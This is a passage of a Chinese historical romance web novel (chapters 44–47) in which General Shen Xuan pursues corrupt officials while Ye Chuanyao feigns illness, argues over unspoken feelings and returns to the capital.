吴越道:“这些年我们一直在寻找其他弟兄的下落,后来无意中发现,当年林家小少爷的尸骨存有蹊跷,极有可能人还活着。” “冯时便回京寻找林公子的下落,没想到却暴露了行踪。” 南桑眸色幽深一沉,眼底闪过一丝痛意。 沈翾思忖片刻,沉声道:“两位先在明月楼住下,一切从长计议。” 罗二和吴越躬身道:“一切听从大将军安排。” 南桑和明烛留在明月楼,沈翾独自回到将军府。 夜已深,淡淡月色下偶闻几声虫鸣蛙叫。 沈翾一路思绪万千,多年来的猜想得到证实,却并无如释重负之感。 季寒,郑元,孟少忠,在这盛国,如此奸佞还有多少? 皇帝昏庸,奸臣当道。 这便是他沈家拼死守护的朝廷吗? 沈翾脑中一片混乱,心绪不宁地踏进大门。 一抬头,便见那道熟悉的身影正低着头,百无聊赖地踩着脚下的影子。 发尾摇摆,衣角轻扬。 心头阴翳忽而散开。 沈翾慢步朝叶川遥走去,未等身前之人反应,便抬手将人抱进怀里。 手臂缓缓收紧,便再也舍不得放开。 第44章 夜幕下缱绻暗涌。 叶川遥还未抬头, 整个人就被扣进怀里,紧紧相依。 鼻尖自沈翾紧绷的脖颈旁轻擦而过,缓缓生出一片灼热。 突如其来的拥抱让叶川遥有些措手不及, 恍然怔住。 心跳到了胸口,震耳欲聋。 沈翾将头埋在他肩上,一言不发。仿佛只是累了, 寻一个依偎之处。 许久后,叶川遥才隐约察觉到身前的人情绪不对。 他抬了抬手, 缓缓将人回抱住, 轻声问:“怎么了?是出什么事了吗?” 沈翾并未回答,也未抬头。 须臾后, 才哑着嗓音低声问:“阿遥, 你可曾有过后悔的事?” 叶川遥目光一顿, 思绪有瞬间游离。 他望向前方屋檐下摇摇晃晃的灯笼, 轻轻嗯了声:“有。” 那日在大理寺外,若知那是最后一面, 他合该上前同他说句话的。 哪怕只道一声再见,便也能了无遗憾吧。 前尘已过, 如大梦一场。 如今沈翾就在眼前, 比起后悔, 他更想珍视当下。 “往事如烟,过去的便让它过去吧, 我们总要往前看。”叶川遥道。 沈翾顿了顿,缓缓道:“这些年我常在想, 那日若我再快些,若我半路不曾停下歇息,若我早一些去接应, 会不会一切就不会发生?” “父亲不会战死,陵川不会破城,所有人都不必枉死……” 叶川遥鼻尖一酸,泪花倏地模糊了双眼。 虽不知究竟发生了什么,但从沈翾的只言片语中,他还是大概猜出了几分。 沈翾在自责。 杀伐冷肃的大将军,虽所向披靡,位高权重,却一直活在悔恨和自责之中,无一日安宁。 叶川遥心中一阵酸楚,满是心疼。 “不是你的错。” 他轻轻蹭了蹭沈翾的侧脸,一字一顿轻声道:“将军,这一切并非你的错,你已经做得很好了。” “年少征战,收复失地,你并不亏欠这天下什么。” “是大盛欠你。” 沈翾缓缓收紧手臂,将人抱得更深了些。 这一刻,他仿佛不再是那个掌控一切的大将军,而只是一个历经风雪,满身伤痕的普通人。 一个被困在过往的满目疮痍里,独自忍受煎熬的可怜人。 叶川遥任由身前的人抱着,两颗紧贴的心有力地跳动着。 许久后,沈翾才缓缓抬起头,眼底的波涛渐渐退下,又复往日平静。 轻舒一口气道: “走吧,送你回房。” 叶川遥抬头看向面前之人,见他面色如常,神情淡淡,好似方才的失控不过只是一场错觉。 虽说有些不合时宜,但他好像……还是更喜欢方才那个趴在他肩上的人。 一个真实的沈怀清,而非运筹帷幄的大将军。 叶川遥眨眨眼,咧着嘴笑着道:“将军抱够了吗,没抱够其实可以多抱一会儿的,不必客气!” 沈翾轻笑一声,抬脚先行。 叶川遥跟上去,发尾摇晃着在他身旁继续道:“真的,我把肩膀借给你,想靠多久靠多久,不收你银子!” “你若心里还是难受,要不我给你唱个曲儿吧?” “你想听什么,扬州慢?清平乐?” 沈翾眸色淡淡,心里的郁结却没来由地散了几分。 唇角微弯道:“那就……扬州慢吧。” “哦,你喜欢听这个啊?”叶川遥眯眼笑笑:“可惜这两个我都不会。” 沈翾侧眸:“……” 见他一脸的无奈,叶川遥扯了扯嘴角,慢悠悠地挪着步子,思忖着道:“要不我给将军讲一段话本吧!” “说从前啊,有个世家老爷,过腻了酒肉池林的日子,便寻了个山头,隐居去了。” “谁曾想,在山里竟遇见……” 沈翾一边负手慢步前行,一边无声轻笑。 耳边是叽叽喳喳的说话声,清脆的嗓音将这无边黑夜都驱散开,只剩满目清明。 他侧眸朝身旁之人望去。 月色正好,月下之人明眸似水,秋波流转间惊艳一世红尘。 …… 明月楼上,南桑和明烛曲膝而坐,于苍穹之下对饮。 南桑单手握着酒坛,手臂随意地搭在膝上,仰头望向头顶繁星闪烁。 流畅的侧脸拉起紧绷的弧度,眉眼弯了弯道:“许久未见这样美的月色了。” 明烛跟着抬头望去,脸上露出笑意:“是你望天望得少了。” “月色明明从未变过。” “是啊,” 南桑笑笑,嘴角溢出一抹苦涩:“物是人非,沧海桑田,唯有这苍穹却亘古不变,当真薄情。” 明烛抬手拍了拍他的肩:“你还有我,有将军,我们都是你的家人。” “只要有我们在,就不会让你孤身一人。” 南桑看向他,沉声问:“没有什么想问我的吗?” “问什么?”明烛仰头往口中灌了一大口冷酒,不以为意地笑道: “你是罪臣之子也好,天潢贵胄也罢,于我而言,你只是我明烛生死与共的好兄弟。” “这世上,也唯有你和将军能值得我以命相交。” 八年前,将军将满身是血的南桑带回府。 那时的南桑瘦削羸弱,十二三岁的年纪,却一身戾气,幽深的眼底仿佛随时就要吃人。 府里的下人都不敢上前,只有明烛不怕他。 南桑将自己关在房里不肯见人,明烛便日日去找他说话,逗他生气。 南桑赶不走人,便只好由着他去。 再后来,两人渐渐熟悉,成了无话不谈的好兄弟,却唯独对身世闭口不提。 南桑不说,明烛便也不问。 如今所有的线索串起来,从八年前的孤儿,到密室里林大人一家的牌位,再到今日南桑的反常。 明烛又岂会猜不出他的身世。 只是这些,他从不在乎。 他在乎的,只是南桑这个人。 南桑笑笑,心里说不上什么滋味。 感动自是有的。 但…… 不由地苦笑一声。 见南桑眼底闪烁,明烛拿肩膀碰了碰他,抬了抬下巴道:“怎么样,是不是很感动?” 南桑无奈嗯了声。 顿了顿,忽然问:“听说世子来了陵川,他和将军究竟是怎么回事?” “还能怎么回事,”明烛笑着道,“自然是两情相悦,不分你我喽!” 语气十分笃定。 南桑抬眼,若有所思地问:“你是如何知晓此事的?” 明烛向后仰了仰身子,得意道:“你没见过世子,等你瞧见他们两个在一起时的样子,自然就清楚了。” “我还从未见将军对谁如此温柔过。眼里像藏了星辰,只为一人而亮。” “是吗?”南桑轻声道。 “倒真是当局者迷,旁观者清。” “对啊,我跟你说,他们两个……” 明烛兴奋地转过头看向身侧,却话音一顿,恍然愣住。 俊朗的面容之上,那双黑眸明亮深邃,漫出无尽柔光。 他甚至能清楚地看见自己的影子,映在那双无比熟悉的眼里。 明烛一时怔在那,忘了自己原本想要说什么。 呼吸乱了分寸,脑中只剩一个念头。 南桑看他的眼神,为何同将军看世子的眼神一样…… 见他一脸错愕,南桑低头轻笑一下,转过头不再看他,仰头兀自喝酒。 明烛的思绪彻底乱了,拿起酒坛胡乱往口中灌了一通。 冷酒入喉,心却被灼烧得滚烫起来。 第二天一早,南桑潜入将军府,去书房密见沈翾。 “将军,行刺世子的几个刺客查出来了,是郑家的人。” “郑家?”沈翾蹙眉道:“郑元,他为何要刺杀世子?” 南桑摇头:“不知,我们只查到这几个死士是郑家的远亲,自几年前被培养成死士,这几年里替郑元和郑贵妃做了不少腌臜事。” “不过世子与郑家并无牵扯……” 他顿了顿道:“会不会是季寒?” “季寒,郑家……”沈翾眼中寒光凛凛,“宜州案御史台那边可有进展?” 南桑道:“周印一收到供词便开始派人清查,名单上的大部分官员已缉捕归案,只剩郑元和吏部尚书杜明轩。” “此二人虽在名单之内,但目前尚无足够证据可将其定罪,大概还需等些时日。” 沈翾沉思片刻,道:“告诉周印,继续审,务必要将孟少忠的嘴撬开。” “另外吩咐下去,将郑元这些年犯的大小案件整理成卷,一并送去御史台。” “查了这么久,终于可以派上用场了。” 他顿了顿,嗓音冷冽道:“我要郑元,郑家,从此再无翻身的可能。” “是。”南桑应下,想了想问:“将军是否要将此事告知世子?” 沈翾眸色沉了沉,“不必,何苦给他平添困扰,让暗卫跟紧就是。” 南桑笑笑:“明烛说得倒是不错,将军对世子果然不一般。” 沈翾扯了扯嘴角:“那个傻小子能知道什么。” 南桑点头笑笑:“是挺傻的。” “属下告退。” 刚推门,迎面撞上一个人。 叶川遥前来寻沈翾,正巧碰上刚从书房出来的南桑。 他惊了一瞬,看清人后随即笑开来:“没想到会在这里碰见阁下,当日救命之恩,在下一直铭记于心。” 南桑微微颔首,笑着道:“在下南桑,是将军的暗卫。当日之事世子不必挂怀,举手之劳,亦是本分。” 叶川遥瞥了眼沈翾,笑笑:“不管怎么说,我欠阁下一个人情,日后若有用得着在下之处,尽可随时差遣。” 南桑微笑:“世子若实在过意不去,便把这份恩情记在将军身上吧。告辞。” 书房内只剩二人,叶川遥看向沈翾,板着脸问:“将军派人跟踪我?” 沈翾回身坐下,淡淡道:“只是恰巧遇见。” 叶川遥撇撇嘴:“将军还真当我毫无察觉?” “那日在明月楼,你觉得我为何会毫无忌惮地同旁人饮酒?” “你派了暗卫跟着我,我都知道。” 沈翾嗯了声:“只是以防万一。你若觉得不便,少出门就是。” 叶川遥坐下喃喃道:“没有觉得不便,只是……” 他看着沈翾,一本正经地问:“将军为何,要为我做这些?” 第45章 静谧的书房内呼吸可闻。 叶川遥直勾勾地盯着沈翾, 抿唇等着他的回答。 替他出头,送他令牌,连暗卫的存在也不避着他。 如今抱也抱了, 还不肯给他个准话吗? 沈翾眸色微闪,默了默道:“不过举手之劳。” “举手之劳?” 叶川遥极轻地嗤笑一声,连声质问道:“不知将军是否对旁的人也如此大方?” “也会将令牌送出去, 让手下将士任人差遣?” “也与旁人如此这般地相处吗?” 沈翾垂眸不语,心中虽暗潮涌动, 却并未应答。 如今朝中储位之争愈演愈烈, 北渊和西夷亦在伺机而动。 他的身边已是危机四伏,暗藏杀机。 郑元对阿遥下手, 也不知是否因了他的缘故。 这个时候, 他不能再将阿遥留在身边冒险…… 沈翾仔细思虑一番, 末了沉声道:“世子来陵川时日已多, 明日我让人护送世子回京。” 叶川遥:“……” 很好,还要赶他走是吧!? 他看向沈翾, 抿唇问:“那你呢?” 沈翾道:“待这边事情了结,我自会回去。” 叶川遥突然没了耐心, 什么试探撩拨全都是对牛弹琴! 他站起身狠狠地骂了句:“沈翾你就是个王八蛋!” “你真当你这将军府是什么神仙宝地啊, 走就走, 没人非要赖在你这里!” 说完便转身自顾跑出去。 明烛正朝这边过来,见他夺门而出, 不明所以地喊道:“哎阿遥你干嘛去?” 叶川遥未应声,转眼便跑没了影。 沈翾的眼底深如寒潭, 板着脸坐在桌案前一言不发。 他也没料到叶川遥竟会反应如此之大。 明烛望着叶川遥离去的背影,走近些问:“怎么了这是,将军你惹世子生气了?” 沈翾神色不虞地低着头, 过了会儿,嗓音低沉道:“明日你带人先护送世子回京。” “回京?”明烛不解地问,“再过几日将军也该回去了,为何不一起走?” 沈翾道:“我还需再留些时日。” 明烛闻言正色几分:“将军为何留下,可是出了什么事?” 沈翾缓缓道:“北渊新帝继位,三日后举行祭天大典,这城中恐生变故。他留在这里不安全。” 明烛点点头:“好,那我将世子送回京再回来。” “不必,你留在京中,派人盯紧郑元,别让他跑了,也别让他死了。” “还有,”沈翾顿了顿,又道:“让杨护军照顾好世子。” “嗯,属下明白。”明烛应道。 他想了想,又凑近些问:“所以方才,世子是因为你要送他走才不高兴的?” 沈翾眉头微蹙,心里没来由得有些烦躁。 胡乱应了声:“许是吧。” 明烛叹口气,一副少年老成的模样道:“将军,不是我说你,这就是你的不对了。” 沈翾抬眼:“?” “你瞪我我也要说!” 明烛问他:“你既担心世子,为何不直接告诉他呢?” “哦,什么也不说,突然就要把人送走。” “可世子又不知道你是为他着想,估计还以为你厌弃他,那自然是要伤心的呀!” “连我都能看出他对你的心思,将军你可别说你看不出来啊!” 对他的心思…… 沈翾皱着眉沉默须臾,眼底微波浮动。 过了会儿,低声道:“他心里……早已有了心悦之人。” “什么?” 这回轮到明烛吃了一惊。 “怎么可能,他明明对将军……” 沈翾自嘲地苦笑一声:“他最初来府上,本就是为了利用,如今……” 大抵对他也是有几分情意的吧,但却终究抵不过心里藏了许久的人。 明烛一时无言,脑袋有些转不过来弯。 难道世子不是对将军思慕已久吗? 这个心悦之人又是从哪冒出来的? 沈翾皱了皱眉,对方才的失态有些懊恼。 但很快收回思绪,面无表情道:“明日动身,早些去准备吧。” “哦,知道了。”明烛道,“那罗二和吴越如何安置?” 沈翾吩咐道:“让他们暂且留在明月楼,待一切部署周全后再行回京。” 明烛点点头:“好。” 说完又问:“那……南桑呢?让他留下,还是同我们一道回京?” 沈翾看向他:“你想让他同你一块回去?” “没有啊,”明烛故作自然道,“若将军需要,那他自然是要留下的。” “若这边没什么事的话……那不如就先回去,毕竟阁里还那么多事等着他呢……” 沈翾了然地睨他一眼,漫不经心道:“让他同你们一道回去吧。” “哦,好。”明烛压了压嘴角道,“那我这便去通知大家收拾行装!” 几家欢喜几家愁。 另一边,叶川遥跑回自己房里,将门狠狠一关,心里憋着股火气无处可撒。 沈翾这个臭流氓! 用得着他的时候说抱就抱,用完了就过河拆桥! 他究竟为何会看上这么一个木头!? 哼,想让他走,可没那么容易。 他还就赖上了怎么着! 难不成还能将他绑着送走? 叶川遥一整个下午都没再出房门,连晚饭也是在房里用的。 听下人说他胃口不好,晚饭只吃了没几口,沈翾便让厨房做了些点心,亲自送去。 没曾想吃了闭门羹。 沈翾站在门外,想起明烛的话,思忖一刻后开口道:“世子,我并没有要赶你的意思。此地凶险,让你回京是为你好。” 叶川遥趴在床上,听着屋外传来的低沉嗓音,闷声道:“我已经睡下了,将军请回吧。将军大可放心,明日我会走,绝不会赖在这里。” 沈翾:“……” “我……”沈翾张了张嘴,有些无奈道:“我让人做了点心,你吃一点,饿着肚子夜里容易睡不踏实。” 叶川遥气冲冲地望着门外的影子,不为所动道:“将军请回吧,我要睡了。” 沈翾抬了抬手,想要推门,最终又缓缓放下。 嗓音温润道:“点心让厨房温着,若是夜里饿,再让他们去取了来。” 叶川遥并未应声,躺在床上瞪着眼望天。 打一个巴掌给一个甜枣,究竟把他当什么了? 若说这人对他没那个意思吧,又对他百般照顾。 若对他有意,偏又不把话说开,就这么不上不上地吊着他。 难道他竟看走了眼,这人竟是个孟浪负心之辈? 沈翾自是不知自己多年来的清誉已岌岌可危。 见屋内没了动静,他极轻地叹口气,转身离开。 夜里,叶川遥不知为何发起了热,还不时伴着几声咳嗽。 守夜的侍卫不放心,匆匆向沈翾回禀。 不多时,沈翾带着大夫赶到。 叶川遥一脸虚弱地看着他,嘴里哼道:“将军不必担心,咳咳,明日一早我便动身,咳咳,绝不食言,咳咳咳……” 见他一副破碎模样,沈翾在他床边坐下,蹙眉道:“别说话,躺好。” 转头冲身后之人道:“军医,快替世子看看。” “是,”军医上前,寻到脉,仔细探着。 “这……” 他看向叶川遥,不由地皱了皱眉,困惑不已。 沈翾面色一沉,凛声问:“如何?” 军医并未马上回答,手上更谨慎了几分。 从脉象上看,世子现下并未染病,虽有旧伤,身子比旁人稍弱了些,但也并无大碍。 可看脸色,又的确像是发热的症状…… 正困顿之际,忽然瞥见床上的人朝他快速地眨了眨眼。 军医点点头,当即了然于心。 原来这是世子同将军之间的情趣啊! 就同那妃子装病邀宠是一样的,左右不过是想寻求意中人的关爱罢了。 军医笑着将手收回,语气自然道:“将军不必担心,世子并无大碍。” “只是郁火上行,加之从前应是大病过一场,身子有些亏,这才发起了热。吃几服药便应无大碍了。” “有劳军医了。”叶川遥轻声道。 沈翾蹙眉问道:“身子亏是何意,可有法子调理?” 军医看向叶川遥:“世子从前可是大病过一场?” 叶川遥看一眼沈翾,顿了顿,轻轻点点头,道:“嗯,三年前,病过一场。” 军医点头道:“这就对了。想是病后气血有亏,未能及时进补,身子才弱了些。” “可用些温和滋补的药膳,慢慢养着,自然就能养回来。” 沈翾这才放下心来,吩咐道:“去开方子吧。” “是,那属下这就让人去煎药。” 军医又看了眼叶川遥,冲沈翾道:“虽说并无大碍,但世子现下还发着热,夜里还需仔细看顾着,离不得人。” 叶川遥不禁在心里给军医狠狠地鞠了一躬。 这个恩情他记下了! 沈翾嗯了声:“去煎药吧。” 军医出了门,房里只剩下二人。 叶川遥平躺着,嘴里喃喃道:“等过两日病好了,我便走……” 一副我见犹怜的模样。 “阿遥,”沈翾出声道,“安心养病,旁的日后再说。” 叶川遥看着他,嗯了声。 半个时辰后,婢女将药端上来。 叶川遥虽不想喝,但沈翾亲自喂他,他便只好闭着眼一口闷了。 沈翾把药碗端走,将人扶着躺下。 “好好睡一觉,我就在屏风外面,难受的话就喊我。” 叶川遥看着他,抿唇问:“你要…上来吗?” 沈翾犹豫一瞬,拒绝了他的邀请:“世子好好休息,我去外面。” 叶川遥哦了声,咱巴巴看着他起身绕到屏风后。 啧,果然难撩。 第46章 沈翾取了几本文册, 一人端坐在软席上,漫不经心地翻看着。 烛火轻轻摇曳,屏风上映出模糊身影。 叶川遥侧眸望去, 能听见书页极轻翻动的声响。 忽地想起曾经醉酒的那个夜里,他们也是这般共处一室。 那日,沈翾是否也是这样守了他一夜? 没什么睡意, 叶川遥干脆坐起身,看向屏风后端坐的身影, 转了转眼珠, 压低嗓音轻轻唤了声:“将军?” 沈翾闻声立刻起身来到床边,打量着他的脸色问:“怎么了, 可是哪里不舒服?” “没有不舒服, ”叶川遥嗓音柔弱道, “我已经没事了, 你回房休息吧,不用守着我。” “明日还要去军中巡视, 别再过了病气咳咳……” 沈翾在他身旁坐下,见他脸色红润, 抬手覆在额头上摸了摸。 随即柔声道:“还是有些热, 好好睡一觉, 明早按时服药。” 叶川遥看着面前眉目柔和的人。 他喜欢这样温柔的沈翾,也贪恋他的关心和照顾。 若是可以, 他想要他所有的柔情都只给他一人。 可这家伙居然要赶他走! 偏执的念头在脑中愈演愈烈。他越想越委屈,不知不觉连眼角都泛起了红。 得一人真心怎的就这般难? 沈翾瞥见那白皙脸庞上的一抹红, 不禁心中一动。 微微蹙了蹙眉,嗓音又放轻了几分,略带僵硬地哄道:“要我在这里……陪你一会儿吗?” 此话一出, 叶川遥越发情难自制,一滴如珍珠般的清泪自淡粉色的眼尾缓缓滑过。 如此深情款款又为哪般? 不肯对他表明心意,却又对他如此体贴,这人究竟在想些什么? 是在跟他玩欲拒还迎吗?! “不必劳烦将军。”叶川遥低着头哼道。 也不知自己在气些什么。 沈翾心下一软,抬起手将那滴眼角的热泪轻轻拭去,罕见地有些不知所措。 嗓音极尽温柔道:“阿遥,我并非要赶你走。” “你在这里,我也很高兴。” 叶川遥愣了愣,目不转睛地看向他,抿唇等着他的话。 沈翾极轻地叹了口气,低声道:“罢了,你若真不想走,那留在府里就是,等过些日子我们再一道回京。” “只是……这些日子莫要再私自出府。” 叶川遥:“……” 虽终于得以留下,却没有等到想听的话,叶川遥眸色暗了暗,咬着唇看向沈翾。 顿了顿,豁出去道:“那日醉酒之事,我都记起来了。” 沈翾看向他,眼底晦暗不明。 叶川遥直视着身旁的人,一字一顿肯定道:“你当时……并没有躲。” 心思猝不及防被剖开,沈翾垂眸不语,眉头微不可查地颤了颤。 脑中画面忽而闪现。 叶川遥深吸一口气,一字一句质问道:“沈翾,你究竟把我当什么?” “一个可有可无的宠物?” “高兴了哄一哄,逗一逗,不高兴了就让我滚得远远的?” 沈翾蹙眉看他,嗓音低沉:“我没有。” “那你喜欢我吗?”叶川遥红着眼问道。 他问得直白,虽心里忐忑不安,眼神里却没有半分退缩。 就算最终一切皆成泡影,他也迫切地想要一个答案。 两世了,他放在心上那么久的人,难道到头来,终究还是一场空吗? 沈翾意味不明地看着他,眼底幽深一片,不答反问:“那你呢?” 又把他当什么,别人的替代品? 还是一时的兴起? 两人视线相接,眼中神色各异,各怀心事,好似一场无声博弈。 须臾后,叶川遥红着眼看他:“我心意如何,难道你看不出来?” 沈翾抿唇不语。 胸口的质问只差一点便要脱口而出,却最终只垂了垂眼。 追究前尘往事实非他所为,也不想让自己如此狼狈。 叶川遥见状嗔笑一声,眼中是戏谑的痛楚。 哽咽着道:“我从前对你说的那些话,你从来就没有信过,对吗?” 沈翾看向他,沉声道:“我信过。” 只是如今,不敢再信罢了。 叶川遥恍惚地轻笑一声,不想再与他争论,闭了闭眼,将脸侧向一旁。 低声道:“我困了,将军回去吧。” 沈翾的视线在他脸上轻轻扫过,欲言又止。 末了站起身道:“好好休息。回京之事,过几日再说。” 说完深深地看他一眼,将灯熄灭,抬脚绕回屏风后。 床榻登时空了一块。 叶川遥闭上眼,心里一阵酸楚。 原来真的……只是他自作多情吗? 既如此,他便如他所愿,离开便是…… 一夜睡得极不安稳。 次日一早,叶川遥早早便醒了,一个人躺在床上胡思乱想。 想他与沈翾的前世今生。 想从前,想以后。 鸡鸣破晓,屏风外沈翾缓缓起身。 叶川遥听见声响闭上眼,呼吸均匀,假装还在沉睡。 沈翾走到榻前,抬手在他的额头上探了探,见温度如常,轻叹一声。 却没有立即将手收回。 他看着榻上安静的睡颜,抬手将叶川遥鬓边的长发向一旁轻轻拨了拨。 指尖拂过侧脸,拇指缓缓摩挲向下,最终停在唇边。 沈翾顿了顿,眼底是不再克制的情动。 他缓缓俯下身,在那唇角落下轻轻一吻。 如蜻蜓点水,小心翼翼中透着无尽缱绻。 叶川遥屏住呼吸,一动未动。 他明明已经醒了,绝不是在做梦。 所以沈翾刚刚是……亲了他? 待人走后,叶川遥才缓缓睁开眼,眸光轻闪。 伪君子,偷亲算什么本事? 既喜欢他,又究竟在逃避些什么啊? 难不成非要他一剂蒙汗药下去,将生米煮成熟饭,他才肯接受他吗? 叶川遥翻身下床,冷静片刻。 蒙汗药他弄不到,也懒得再去猜沈翾的心思。 他默默将行囊收拾好,没有告诉任何人,一个人径直出了将军府,骑马朝着京城的方向而去。 暗卫发现他的行踪,一边跟着,一边立即让人禀报给了沈翾。 沈翾收到消息后眉头紧锁,一言不发。 明烛不禁担心道:“世子不是病了吗,如此骑马颠簸怎么行?” 他看向沈翾问:“他为何一个人就这么走了,不告而别并非世子的作风啊!” 其实他想问的是,将军你又做什么了,把人气地一大早连饭都不吃就跑了?! 沈翾正心烦意乱,听了他的话更是懊恼不已。 皱着眉吩咐道:“去将世子拦下,再找辆马车,将他好生送回京城。” “好,”明烛应道:“我这就动身!” 明烛走后,沈翾一个人去了叶川遥的卧房。 床榻之上被褥叠得整整齐齐,一应陈设也如从前一般。 娇生惯养的小少爷,没想到竟也会做这些事。 他独自在床边坐了许久,才起身出门…… 叶川遥出了陵川,一路向南,终于在途经蜀郡一家客栈时被明烛赶上。 “阿遥!” 明烛从马上跳下来,打量着叶川遥的脸色,关切道:“这么急着赶路做什么,你身子可还好?” “我没事,”叶川遥坐下道,“你怎么来了?” 明烛在他身旁坐下,急匆匆喝了几口茶,喘口气道:“将军不放心,让我送你回去。” 叶川遥垂了垂眼,淡淡道:“他有什么不放心的,难道还怕我又回去烦他不成?” “我说了走就会走,不会赖着他!” 充满怨气的语气让明烛不禁失笑。 他想了想,觉得还是该替自家主子解释一下。 “阿遥,将军并非要赶你走,他只是不想让你涉险。” 叶川遥不为所动,不屑地哼了声。 “陵川本就是他沈翾的地界,我又日日待在府里,能有什么危险?” “况且我又不是纸糊的,哪就那么娇弱了?” 明烛笑笑,耐心地解释道:“陵川虽为大盛所属,却鱼龙混杂,各国细作常隐于世,极难分辨。” “这些人一直在伺机而动,若有心为之,将军府也并非铜墙铁壁。” “将军他是在意你,所以才不忍让你冒一点险。” 叶川遥心中微动,又随即摇摇头道:“他若真如你所说,如此在意我,可为何又不肯将心意告诉我?” “昨日我都那般问他了……” 明烛想了想,正色几分,看着叶川遥问:“阿遥,你对将军……是真心吗?” 叶川遥看向他,嗔笑一声:“不然呢,难道连你也觉得,我只是在利用他?” 明烛摇摇头:“我自然是信你的,但……” “将军说,你早已有心悦之人。” “啊?”叶川遥愣住。 心悦之人? 不就是沈翾吗? 他茫然道:“将军说我有心悦之人,这是什么意思?” “难道将军以为,我心里有旁的人?” 明烛点点头:“嗯。” “所以将军虽然在意你,却无法同你表明心意。” “他那么骄傲的一个人,怎么甘心做别人的替身?” 叶川遥瞪着眼怔在原地,半天后才喃喃道:“原来是这样……” “不是,他从哪听来的这种离谱的谣言?” 简直匪夷所思! “不知,”明烛摇摇头,“不过我瞧着,将军这几日可因为这事儿没少费神。” 叶川遥一时说不出心里是什么滋味,当真是哭笑不得。 可又一想,又有些气不打一处来。 “那他就没想着来问问我,凭着胡思乱想就给我定了罪?” 自己吃自己的醋也就罢了,还迁怒于他,白白连累他这几日伤心难过! 明烛想想也忍不住一笑。 仗着沈翾不在这,大胆调侃道:“谁说不是呢,估计是怕你真说出个什么心上人来吧。” “你是没看见,今日你不告而别,将军那脸色黑的呦!” “估计是真怕你再也不理他了!” 怕? 叶川遥翘了翘嘴角,竟莫名被这个字愉悦到了。 原来他沈翾也有如此患得患失的一天。 忍着没来问他,其实是心里还抱着一丝希望的吧? 既如此,那就随他去吧。 从前都是他远远望着他,如今便让沈翾也尝尝这悬着心的滋味。 等回了京,他再同他好好分说分说…… 第47章 得知沈翾那不为人知的心思, 叶川遥浑身上下顿时舒畅了几分。 心头奔腾雀跃着,走在路上都忍不住想蹦跶两下。 上次来得仓促,都没来得及在这蜀郡好好逛一逛。 这会儿不急着赶路, 自然要好好闲游一番。 上回来沐北王府,听郡主说城郊永宁山上有个永宁寺,香火甚旺, 很是灵验。 叶川遥便拉着明烛一同前往。 二人将马留在山下,徒步上行。 行直半山腰, 只见夏木繁荣, 山涧清澈,飞鸟不绝, 当真是处风水极佳之地。 寺内有棵古树, 枝干粗壮, 树冠通天。树枝上挂满了祈福香囊。 叶川遥不禁好奇, 向树下一女子询问道:“敢问姑娘,这树有何来头?” 见面前的人容貌如此出众, 女子愣了愣,略带羞稔地莞尔道:“此树生于寺中几百年, 是永宁寺的镇寺之宝。” “对树灵诚心许愿便可愿望成真, 尤其求姻缘最是灵验!” “哦, 原来如此,”叶川遥略一颔首道:“多谢姑娘。” 明烛从寺里僧人手中求来两个香囊, 递给叶川遥,打趣道:“世子想求姻缘?” 叶川遥接过符纸, 笑着哼道:“才不是,我要求的是国泰民安!” 明烛笑笑,看破不说破。 叶川遥将心愿写好, 置于香囊内,抬手挂起。 【愿君心似我,长乐永康。】 仰头望着,嫣然一笑。 若有朝一日心愿达成,他定会带沈翾回来还愿。 到那时候,他定要趾高气昂地指着沈翾,冲他道: “看吧,本少爷多大方,被你撵走还替你许了愿!” 再顺理成章地让沈翾还他三个愿望,趁此机会把想占的便宜都占了! 想着想着不禁失笑。 叶川遥收回胡思乱想,转头问明烛:“你呢,许了什么愿?” 明烛看着树上的香囊,笑道:“和世子一样,国泰民安。” 国泰方才民安。 愿有朝一日,世间再无战乱。 百姓安康,他们也能与在意之人相聚相守。 …… 二人下了山,歇了歇脚,又买了些当地的吃食带上,继续返京。 半路上遇到一个年轻男子,因马蹄受了伤,无法赶路,便求他们捎他一程。 此处偏僻,行经车马并不多,叶川遥遂欣然应下,邀其共乘。 男子看上去二十五六的年纪,身形高挑,性子明朗,脸上总是带着笑。 上了车,男子向二人道过谢,笑着问:“两位公子,可是也要去京城?” 叶川遥笑着应道:“嗯,我们出来探亲,正要回去。” “兄台呢,也是京城人士吗?” 男子道:“在下初一,宜州清郡人士,此次进京是去见友人。” “初一,”叶川遥笑笑,“是个好名字。” 初一温和一笑,很有分寸地并未询问对方的身份。 叶川遥对此人印象不错,一路上能有个有趣的人聊天,总不至于无聊。 明烛抬眼打量着面前的人,心生防备,但见叶川遥与他相谈甚欢,终究没说什么。 初一看着叶川遥,目光里露出欣赏之色。 “公子当真是我见过最俊逸绝伦之人,不仅容貌如此出众,连谈吐也风雅不俗。” 叶川遥付之一笑:“兄台谬赞了。” 两人一路上聊着风土人情,颇为投缘。 叶川遥一直渴望有朝一日能踏遍天下名山河川,去领略那些未知的风景。 而初一曾游历过许多地方,叶川遥听着那些奇闻轶事,觉得十分新奇。 “你还去过北地?” “听说那里冬日的大雪能有几尺厚,是真的吗?” 初一笑着嗯了声:“不错,我曾见过一次那样的大雪。” “漫天雪花飞舞,遍地积雪,入目皆是白茫茫一片,恍若梦境。” 叶川遥闻言浅笑道:“听上去倒是极美。” “京中鲜少落雪,就算赶上寒冬也不过寥寥几片。” “若有机会,我倒很想看看那千里飘雪的场景。” 他顿了顿,又叹声道:“只是如此苦寒,百姓怕是要受苦了。” 初一看向他,眼里微微闪过惊讶之色,转瞬即逝。 几人一路攀谈,不知不觉便到了平阳城。 天色已黑,明烛找了家客栈,初一在门口与二人道别。 “这一路多谢二位,我们后会有期。” 叶川遥并未挽留,莞尔道:“后会有期。” * 两日后,叶川遥回到卫国公府。 叶青云见自己儿子回来一阵吃惊。 “怎么突然回来了?快进屋!” 叶川遥进屋坐下,俏皮笑道:“怎么,您这是不想我回来呀?” “这孩子,怎么说话呢?”叶青云嗔笑道,“出去这些日子过得可还好?” “挺好的,”叶川遥笑着应道,“就是想家里的饭菜了!” 叶青云不禁慈爱一笑:“你个贪吃鬼,想吃什么吩咐厨房,让他们晚上给你做!” “好!”叶川遥欣然道。 “对了,”叶青云看着他,关切地问:“将军的伤势如何了?” 叶川遥如实道:“伤得不严重,如今已无大碍。” 叶青云嗯了声,若有所思地问:“陵川一带可还太平?” “暂无异动,”叶川遥道,“只是北渊新帝好大喜功,恐生变故,需提早想好应对之法。” 叶青云点点头:“北渊兵力强盛,这些年虽有大将军镇守陵川,但若北渊真铁了心南下,怕是还有一场硬仗要打。” 他叹口气,不忍道:“这些年,的确苦了将军。” 叶川遥心里也跟着浮上一抹心疼。 柔声道:“有他在,是大盛之福。” 